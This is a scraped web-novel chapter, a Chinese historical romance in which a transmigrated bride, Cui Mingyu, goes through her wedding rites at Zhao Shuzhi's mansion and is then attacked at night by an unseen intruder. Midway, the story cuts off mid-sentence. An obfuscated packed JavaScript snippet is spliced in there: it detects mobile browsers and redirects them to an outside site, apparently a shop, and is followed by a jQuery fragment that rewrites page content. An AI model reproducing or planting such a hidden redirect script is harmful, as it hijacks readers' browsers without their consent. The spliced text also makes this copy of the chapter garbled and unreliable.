默认冷灰
24号文字
方正启体

3. 第 3 章

作者:nourish本书字数:K更新时间:
    崔鸣玉坐在车里,外面一直都有人在说话,说的什么,崔鸣玉根本听不懂。


    水意一直跟在她的车帘旁,这让崔鸣玉安下浮躁狂跳的心来。


    “水意?”


    “怎么了,女公子?”


    “我好饿。”


    从早上一醒吃了点碧儿递给她的糕点之后,就一直没吃过东西了,一天了,就吃一餐,铁人都顶不住啊。


    水意四处张望了下,从兜里掏出一个油纸袋极快地递给崔鸣玉,“糕点?”


    水意点点头道:“对啊,夫人特意交代了,都是女公子爱吃的。”


    崔鸣玉打开还热乎的纸袋,大快朵颐起来,眼神往旁边一瞟,发现这车上居然有水?


    刚刚自己怎么没发现?


    那个像茶台一样的木台,就在她刚刚坐的地方旁边,小小的一个,她衣服的袖子也大,一遮确实比较难发现。


    糕点吃多了噎挺,崔鸣玉就拿了那的水喝,一看,台子下面还有一个可以拉的小格,一拉开,全是糕点!


    吴音给她准备的这个小格里都有,还有很多崔鸣玉没见过的糕点这里也有,看着都好香啊。


    可崔鸣玉吃完油纸袋里的,实在是饱了,但她看着那格子里五花八门的糕点,实在不忍心,还是从里面挑了个精致小巧的吃。


    等崔鸣玉吃完,车子也就停住了。


    水意隔着车门轻声问道:“女公子,吃完了吗?到世子府了。”


    崔鸣玉用衣服抹了抹嘴巴,重重地咳了声,车外水意又道:“女公子别忘了扇子。”


    扇子?扇子!


    刚刚她一上来就把扇子丢了,去哪了?


    崔鸣玉在车里一顿找,低头一看,原来在她屁股下面。


    “水意,我好了。”


    赵舒之从车夫的位置上下来,正了正衣冠,步履间似有急促。


    水意将车门打开,将下车的台阶放在崔鸣玉前面,但崔鸣玉看都没看,一下从车马上跳下来,看得赵舒之心惊。


    水意更是愣住,急忙扶住跳下来的崔鸣玉道:“女公子?你没事吧?”


    崔鸣玉跳下来纯属是因为尴尬,她甚至都不用看,闭着眼睛都能感受到周围无数人的视线,以及最令她感到脸热的那一道。


    原身和这个男的应该认识吧?不然为什么一见到她就叫她玉娘?


    有点冒昧了。


    被说冒昧的赵舒之可完全不知道,在他看来,崔鸣玉只是被迫嫁给他,所有的一切都不是崔鸣玉自愿的,他时刻记得这一点。


    崔鸣玉被水意带着,走到了赵舒之的身旁。


    齐秋跟着后边的车马一起来了,高声道:“桃之夭夭,灼灼其华。之子于归,宜其室家。”


    水意跟着道:“新妇入堂,福禄永昌。”


    紧接着,水意在崔鸣玉身旁轻声道:“接下来,女公子就要跟着世子一起走了。”


    崔鸣玉“啊”了声,从扇子后探头道:“你不跟着我吗?”


    水意赶紧摇头,甚至还离得远了些。


    赵舒之一直站在崔鸣玉身旁,她说的每一句话,每一个神色,他都看得一清二楚。


    崔鸣玉把头缩回来,忽然有一个陌生的男性气息逼近,在她将要扭头的一瞬停住,“新妇入堂,旁人是不能跟着的,莫非是玉娘不认我这个夫君?”


    经历过今日,这位所谓的夫君在她眼里可是如同阎王爷一般的存在,稍有不慎,就可能会送了自己的命。


    虽然她挺想死的,但也没有上赶着找死的份,当即朝人说话的方向,反驳道:“怎么可能!”


    赵舒之看着两眼紧闭,还用扇子遮脸的崔鸣玉,心道,还说没有…


    齐秋在一旁看着两人自成一方天地的交谈,心下已经想好如何向皇后娘娘交差了,轻轻咳了声道:“世子。”


    赵舒之收回眼神,朝人低沉道:“走了。”


    崔鸣玉“喔”了声,就跟着走,只可惜,她还是看不清脚下的路。


    这都入夜了,虽然有烛火,可是那火晃得她眼睛疼,崔鸣玉压根看不清,只能悄悄地往赵舒之的脚边凑。


    他走一步,崔鸣玉就走一步,就这样,一步一步,走到了阁楼之上。


    齐秋又高声喊起流程,崔鸣玉跟着赵舒之的动作,他做什么,她就做什么,无他,这屋子里,没有一个她认识的人。


    好不容易,喝了酒,吃了肉,洗了手,齐秋总算是有要退下的意思,“礼毕,还望夫妇二人永结同心,不离不弃。”


    赵舒之朝人作揖,还让旁边的人递给齐秋一个红袋子,“多谢齐詹事。”


    崔鸣玉跟着道:“多谢齐詹事。”


    等齐秋乐呵的将门关上,崔鸣玉终于是松了一口气,结果就是下口气又被赵舒之的一句话给硬生生提起来,“你不把扇子放下吗?”


    崔鸣玉躲在扇子后面,深呼了好几口气,低着眼,把扇子“若无其事”地拿下来。


    “你怕我?”


    崔鸣玉很想说对,但是她却不敢这样说,碧儿还不知道在哪,有没有跟着她一起过来。


    但赵舒之好像能明白她在想什么一样,“你的侍女就在偏房,你可以去看她。”


    崔鸣玉一下抬起眼看向赵舒之,眼中的震惊之意溢于言表,可赵舒之却没有一丝丝的神情变化,甚至连眼都没抬,“你不用这样看我,我不是坏人。此桩婚事,本就是我强求于你,自不会再为难与你。”


    崔鸣玉只当他的“强求”是为了皇帝开脱,当即起身道:“你能让人带我去找她吗?我不识路。”


    赵舒之朝门外道:“阿母。”


    门外一有些沧桑的声音回道:“是,世子。”


    崔鸣玉有些疑惑道:“你母亲?”


    赵舒之喝了口酒,“乳母,我府中除了乳母,并无其他家僮。”


    崔鸣玉又问:“家僮?”


    赵舒之又喝了口酒,平淡道:“就是婢女。”


    一阵诡异的尴尬……


    崔鸣玉待不下去,道了声谢,就赶紧跑出去了。


    钟阿意等在门外,见崔鸣玉微红着脸出来,登时迎上去,“主母可以叫我钟媪,我这就带主母前去碧儿姑娘那。”


    崔鸣玉也知道自己脸红,手上冷些,就用手不断的给自己降温,真是好尴尬。


    赵舒之坐在铺了红绸的桌前,手边的一壶酒即将见底,“知道关心姨母,还知道关心婢女,怎么就不会关心一下自己曾经以命相救的人呢?”


    赵舒之饮尽杯中的残酒,苦笑道:“我这般强求,若你真的想不起来,我就真的成坏人了。”


    崔鸣玉被钟媪带着,没等走出几里地,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491375|202245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个年纪比钟媪小些,看起来很是精明的女子挡住了二人的去路,她朝崔鸣玉作揖道:“女公子,婢子是吴三娘。”


    三娘?


    崔鸣玉一下想起来,这是吴音和她说过的那个三娘,那她应该怎么叫?


    “三姨?”


    “正是。”


    钟媪站到一旁,为两人说话让开距离。


    吴三娘道:“女公子这是要去哪?”


    “我去看碧儿,三姨要不要一起去?”


    “自然。”


    钟媪适时开口:“那便这边请,碧儿姑娘被送来时还未曾清醒,不知现下如何。”


    崔鸣玉点了点头,跟在钟媪身后,一路小跑,终于是看见了碧儿。


    碧儿苍白着一张脸躺在床上,崔鸣玉看着她昏睡的样子,心里只有懊恼,“钟媪,大夫怎么说?”


    钟媪回道:“大夫说,碧儿姑娘乃是受惊之下,撞伤头部,才会昏迷不醒,好好静养几日,便能痊愈。”


    崔鸣玉坐在床沿边,呆呆地点了点头。


    钟媪对着吴三娘使了使眼色,继而两个人都退了出去。


    夜色深沉,崔鸣玉不知怎的,就趴着睡着了,等她迷糊睁眼的时候,下意识间,呢喃道:“碧儿?”


    冷光骤然一闪,反射在崔鸣玉脸上,霎时,什么睡意都没了。


    屋子里只有呼呼的风声,烛火早就熄了,什么都看不见,只有屋外的月光透出一些些光来。


    崔鸣玉找不到东西把火烛点着,但她可以确定屋子里除了她和碧儿一定还有别人。


    那道冷光,就像是暗夜的车灯,令她永生难忘。


    窗外树影沉静,一滴滴水珠落在地上的水缸中。


    崔鸣玉不敢轻举妄动,她守在碧儿身旁,咽了咽口水轻声道:“你是谁?”


    依旧无人回答。


    崔鸣玉虽然不敢动,但她的眼睛已经把屋子里能看见的都看了个遍,目光锁定在碧儿床头喝完的木碗。


    吴三娘被钟媪叫出来,心下担忧着崔鸣玉,不肯久留,“钟媪,你有什么话还是说明白了好,女公子在那屋里,我不放心。”


    钟媪随意拍了拍吴三娘的手背道:“这是世子府,没人敢对世子不敬。”


    吴三娘虽是这般想,但还是放心不下,“我去看一眼,再回来和钟媪对单子下库。”


    原来钟媪叫她出来,只是为了对手上的陪嫁单子好方便下库。


    忽而,一道有些冷彻的声音响起,“玉娘呢?”


    崔鸣玉又问了好几句,都是没回答,这人这么沉得住气的?


    那对不起了,我沉不住!


    猛地拿过木碗往窗外一掷,水缸发出极大“咚”的一声。


    崔鸣玉一砸完,赶忙往门外跑,却没想,身后的五指巨力将她往回一拉,径直撞在一旁的柜子上。


    痛!


    柜子上的东西全都倒下,一一砸在崔鸣玉身上。


    这是在惩罚她刚刚砸了水缸吗?


    我的背,要裂开了!


    那人依旧悄无声息,寒光又再一次闪现,崔鸣玉却在寒光之中,看见了一双沉静而又夹杂着深切关怀的黑眸,惹人心动…


    是赵舒之。


    刀刃被他握在手中,鲜血一滴滴地滴在了崔鸣玉玄色的衣袍上,隐入夜色之中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)